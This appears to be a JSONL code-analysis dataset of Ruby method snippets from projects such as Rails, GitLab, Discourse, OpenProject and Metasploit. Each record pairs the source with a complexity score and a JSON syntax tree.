{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/active_storage/analyzers_integration_test.rb","start_line":48,"raw_source":"def test_analyzers_not_empty\n      add_to_config \"config.active_storage.analyzers = [ActiveStorage::Analyzer::ImageAnalyzer]\"\n\n      app(\"development\")\n\n      user = User.new(name: \"Test User\", avatar: file_fixture(\"racecar.jpg\"))\n\n      assert_enqueued_with(job: ActiveStorage::AnalyzeJob) do\n        user.save!\n      end\n    end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_analyzers_not_empty\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_to_config\",{\"type\":\"str\",\"children\":[\"config.active_storage.analyzers = [ActiveStorage::Analyzer::ImageAnalyzer]\"]}]},{\"type\":\"send\",\"children\":[null,\"app\",{\"type\":\"str\",\"children\":[\"development\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Test User\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"avatar\"]},{\"type\":\"send\",\"children\":[null,\"file_fixture\",{\"type\":\"str\",\"children\":[\"racecar.jpg\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_enqueued_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"AnalyzeJob\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"save!\"]}]}]}]}","id":"d7cb18ad-fd3d-48ab-b289-f62805a97ae8"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/projects/copy/share_copier.rb","start_line":41,"raw_source":"def share_dependent_service(service_const = nil)\n        @share_dependent_service = service_const if service_const\n\n        @share_dependent_service\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"share_dependent_service\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"service_const\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_const\"]},{\"type\":\"ivasgn\",\"children\":[\"@share_dependent_service\",{\"type\":\"lvar\",\"children\":[\"service_const\"]}]},null]},{\"type\":\"ivar\",\"children\":[\"@share_dependent_service\"]}]}]}","id":"1bc240f7-2710-4684-a932-d768cc4390fb"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/stores/redis_cache_store_test.rb","start_line":11,"raw_source":"def get(key)\n    if /latency/.match?(key)\n      sleep 0.2\n      super\n    else\n      super\n    end\n  end","complexity_score":3.55,"ast_json":"{\"type\":\"def\",\"children\":[\"get\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"latency\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.2]}]},{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"7ce07a94-a68b-4579-a95c-8f7bffa37bc7"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/file_store/local_store.rb","start_line":127,"raw_source":"def list_missing(model)\n      count = 0\n      model.find_each do |upload|\n        # could be a remote image\n        next unless upload.url =~ %r{\\A/[^/]}\n\n        path = \"#{public_dir}#{upload.url}\"\n        bad = true\n        begin\n          bad = false if File.size(path) != 0\n        rescue StandardError\n          # something is messed up\n        end\n        if bad\n          count += 1\n          puts path\n        end\n      end\n      puts \"#{count} of #{model.count} #{model.name.underscore.pluralize} are missing\" if count > 0\n    end","complexity_score":31.6,"ast_json":"{\"type\":\"def\",\"children\":[\"list_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"url\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A/[^/]\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"public_dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"url\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bad\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"size\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"!=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"bad\",{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,null]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bad\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]}]},{\"type\":\"str\",\"children\":[\" of \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"count\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"name\"]},\"underscore\"]},\"pluralize\"]}]},{\"type\":\"str\",\"children\":[\" are missing\"]}]}]},null]}]}]}","id":"d82da26c-db83-43cf-803f-1b08ae6d0ac0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/utils/deep_size.rb","start_line":30,"raw_source":"def evaluate\n        add_object(@root)\n      rescue Error\n        # NOOP\n      end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"evaluate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_object\",{\"type\":\"ivar\",\"children\":[\"@root\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Error\"]}]},null,null]},null]}]}","id":"d6529f1d-9a7d-4e22-976e-1e6051f37bd2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/representation/pull_requests/review_requests.rb","start_line":37,"raw_source":"def github_identifiers\n            {\n              merge_request_iid: merge_request_iid,\n              requested_reviewers: users.pluck(:login) # rubocop: disable CodeReuse/ActiveRecord\n            }\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"github_identifiers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request_iid\"]},{\"type\":\"send\",\"children\":[null,\"merge_request_iid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"requested_reviewers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"users\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"login\"]}]}]}]}]}","id":"f7c03c37-4ce0-418d-af20-ce4be4a99143"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/app/models/cost_query.rb","start_line":233,"raw_source":"def size\n    size = 0\n    recursive_each { |r| size += r.size }\n    size\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"size\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"recursive_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"size\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"size\"]}]}]},{\"type\":\"lvar\",\"children\":[\"size\"]}]}]}","id":"8c7f3e4d-44b3-46c5-8d38-1dd01e378a0a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/post_serializer.rb","start_line":685,"raw_source":"def include_language?\n    SiteSetting.content_localization_enabled && object.locale.present?\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"include_language?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"content_localization_enabled\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"locale\"]},\"present?\"]}]}]}","id":"38bde6ee-817e-478f-9684-4dfbeb0ae15b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/ci_document.rb","start_line":98,"raw_source":"def report_host(&block)\n      @report_data = {\n        :ports  => [:ignore],\n        :state  => Msf::HostState::Alive,\n        :host   => @state[:address]\n      }\n\n      if @state[:root][\"dns names\"] and @state[:root][\"dns names\"].keys.length > 0\n        @report_data[:name] = @state[:root][\"dns names\"].keys.first\n      end\n\n      if host_is_okay\n        @report_data.delete(:ports)\n\n        db.emit(:address, @report_data[:host],&block) if block\n        host_object = db_report(:host, @report_data.merge(\n          :workspace => @args[:workspace] ) )\n        if host_object\n          db.report_import_note(host_object.workspace, host_object)\n        end\n        host_object\n      end\n    end","complexity_score":41.7,"ast_json":"{\"type\":\"def\",\"children\":[\"report_host\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@report_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ports\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ignore\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"HostState\"]},\"Alive\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"address\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"root\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"dns names\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"root\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"dns names\"]}]},\"keys\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"root\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"dns names\"]}]},\"keys\"]},\"first\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host_is_okay\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"ports\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db\"]},\"emit\",{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"host\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"host_object\",{\"type\":\"send\",\"children\":[null,\"db_report\",{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"workspace\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_object\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"db\"]},\"report_import_note\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_object\"]},\"workspace\"]},{\"type\":\"lvar\",\"children\":[\"host_object\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"host_object\"]}]},null]}]}]}","id":"003d8fbe-0e8b-4edc-bd67-dd73d72ac345"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/click_house/data_ingestion/finished_pipelines_sync_service.rb","start_line":108,"raw_source":"def csv_batches\n          events_batches_enumerator = Enumerator.new do |small_batches_yielder|\n            # Main loop to page through the events\n            keyset_iterator_scope.each_batch(of: PIPELINES_BATCH_SIZE) { |batch| small_batches_yielder << batch }\n            @reached_end_of_table = true\n          end\n\n          Enumerator.new do |batches_yielder|\n            # Each batches_yielder value represents a CSV file upload\n            while continue?\n              batches_yielder << Enumerator.new do |records_yielder|\n                # records_yielder sends rows to the CSV builder\n                PIPELINES_BATCH_COUNT.times do\n                  break unless continue?\n\n                  yield_pipelines(events_batches_enumerator.next, records_yielder)\n\n                rescue StopIteration\n                  break\n                end\n              end\n            end\n          end\n        end","complexity_score":29.6,"ast_json":"{\"type\":\"def\",\"children\":[\"csv_batches\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"events_batches_enumerator\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Enumerator\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"small_batches_yielder\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"keyset_iterator_scope\"]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"const\",\"children\":[null,\"PIPELINES_BATCH_SIZE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"small_batches_yielder\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"batch\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@reached_end_of_table\",{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Enumerator\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batches_yielder\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[null,\"continue?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batches_yielder\"]},\"<<\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Enumerator\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"records_yielder\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PIPELINES_BATCH_COUNT\"]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"continue?\"]},null,{\"type\":\"break\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"yield_pipelines\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events_batches_enumerator\"]},\"next\"]},{\"type\":\"lvar\",\"children\":[\"records_yielder\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StopIteration\"]}]},null,{\"type\":\"break\",\"children\":[]}]},null]}]}]}]}]}]}]}]}","id":"ea249370-00e7-4bf2-bb7a-0c67557ce023"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/useless_access_modifier.rb","start_line":139,"raw_source":"def on_class(node)\n          check_node(node.body)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"check_node\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"body\"]}]}]}","id":"7ca70ac3-e1fa-4bb0-b22d-9ed0c6b5d2eb"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/oauth_userinfo_serializer.rb","start_line":16,"raw_source":"def name\n    object.display_name\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"display_name\"]}]}","id":"38b05976-6c74-44e4-9865-8d954e2c7829"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/op_primer/component_helpers.rb","start_line":37,"raw_source":"def grid_layout(css_class, **, &)\n      render(Primer::OpenProject::GridLayout.new(css_class:, **), &)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"grid_layout\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"css_class\"]},{\"type\":\"kwrestarg\",\"children\":[]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Primer\"]},\"OpenProject\"]},\"GridLayout\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"css_class\"]},{\"type\":\"lvar\",\"children\":[\"css_class\"]}]},{\"type\":\"forwarded_kwrestarg\",\"children\":[]}]}]},{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"96c80c78-125d-4416-8cf6-a8c7d9aee1dd"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/log_subscriber_test.rb","start_line":58,"raw_source":"def test_set_color_for_messages\n    ActiveSupport.colorize_logging = true\n    @log_subscriber.bar(nil)\n    assert_equal \"\\e[31mcool\\e[0m, \\e[1m\\e[34misn't it?\\e[0m\", @logger.logged(:info).last\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_set_color_for_messages\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"colorize_logging=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@log_subscriber\"]},\"bar\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\\u001b[31mcool\\u001b[0m, \\u001b[1m\\u001b[34misn't it?\\u001b[0m\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"logged\",{\"type\":\"sym\",\"children\":[\"info\"]}]},\"last\"]}]}]}]}","id":"49d8ac98-de22-401d-a98d-e83aa7caf437"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/local_file_system.rb","start_line":44,"raw_source":"def cmd_lls(*args)\n          # Set Defaults\n          path = ::Dir.pwd\n          sort = 'Name'\n          order = :forward\n          search_term = nil\n\n          # Parse the args\n          @@lls_opts.parse(args) do |opt, _idx, val|\n            case opt\n              # Sort options\n            when '-s'\n              sort = 'Size'\n            when '-t'\n              sort = 'Last modified'\n              # Output options\n            when '-r'\n              order = :reverse\n              # Search\n            when '-S'\n              search_term = val\n              if search_term.nil?\n                print_error('Enter a search term')\n                return true\n              else\n                search_term = /#{search_term}/nmi\n              end\n              # Help and path\n            when '-h'\n              cmd_lls_help\n              return 0\n            when nil\n              path = val\n            end\n          end\n\n          list_local_path(path, sort, order, search_term)\n        end","complexity_score":29.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_lls\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Dir\"]},\"pwd\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sort\",{\"type\":\"str\",\"children\":[\"Name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"order\",{\"type\":\"sym\",\"children\":[\"forward\"]}]},{\"type\":\"lvasgn\",\"children\":[\"search_term\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@lls_opts\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]},{\"type\":\"arg\",\"children\":[\"_idx\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-s\"]},{\"type\":\"lvasgn\",\"children\":[\"sort\",{\"type\":\"str\",\"children\":[\"Size\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-t\"]},{\"type\":\"lvasgn\",\"children\":[\"sort\",{\"type\":\"str\",\"children\":[\"Last modified\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-r\"]},{\"type\":\"lvasgn\",\"children\":[\"order\",{\"type\":\"sym\",\"children\":[\"reverse\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-S\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"search_term\",{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_term\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Enter a search term\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"search_term\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_term\"]}]},{\"type\":\"regopt\",\"children\":[\"i\",\"m\",\"n\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_lls_help\"]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"list_local_path\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"sort\"]},{\"type\":\"lvar\",\"children\":[\"order\"]},{\"type\":\"lvar\",\"children\":[\"search_term\"]}]}]}]}","id":"dedaeb8c-a086-4bac-9b49-7d4564d8f847"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/projects/set_attributes_service.rb","start_line":45,"raw_source":"def set_default_attributes(attributes)\n      attribute_keys = attributes.keys.map(&:to_s)\n\n      set_default_public(attribute_keys.include?(\"public\"))\n      set_default_module_names(attribute_keys.include?(\"enabled_module_names\"))\n      set_default_types(attribute_keys.include?(\"types\") || attribute_keys.include?(\"type_ids\"))\n      set_default_active_work_package_custom_fields(attribute_keys.include?(\"work_package_custom_fields\"))\n    end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_default_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attribute_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"keys\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"set_default_public\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_keys\"]},\"include?\",{\"type\":\"str\",\"children\":[\"public\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_default_module_names\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_keys\"]},\"include?\",{\"type\":\"str\",\"children\":[\"enabled_module_names\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_default_types\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_keys\"]},\"include?\",{\"type\":\"str\",\"children\":[\"types\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_keys\"]},\"include?\",{\"type\":\"str\",\"children\":[\"type_ids\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"set_default_active_work_package_custom_fields\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_keys\"]},\"include?\",{\"type\":\"str\",\"children\":[\"work_package_custom_fields\"]}]}]}]}]}","id":"fab4de8f-21a9-40d3-ab00-054dad539661"}
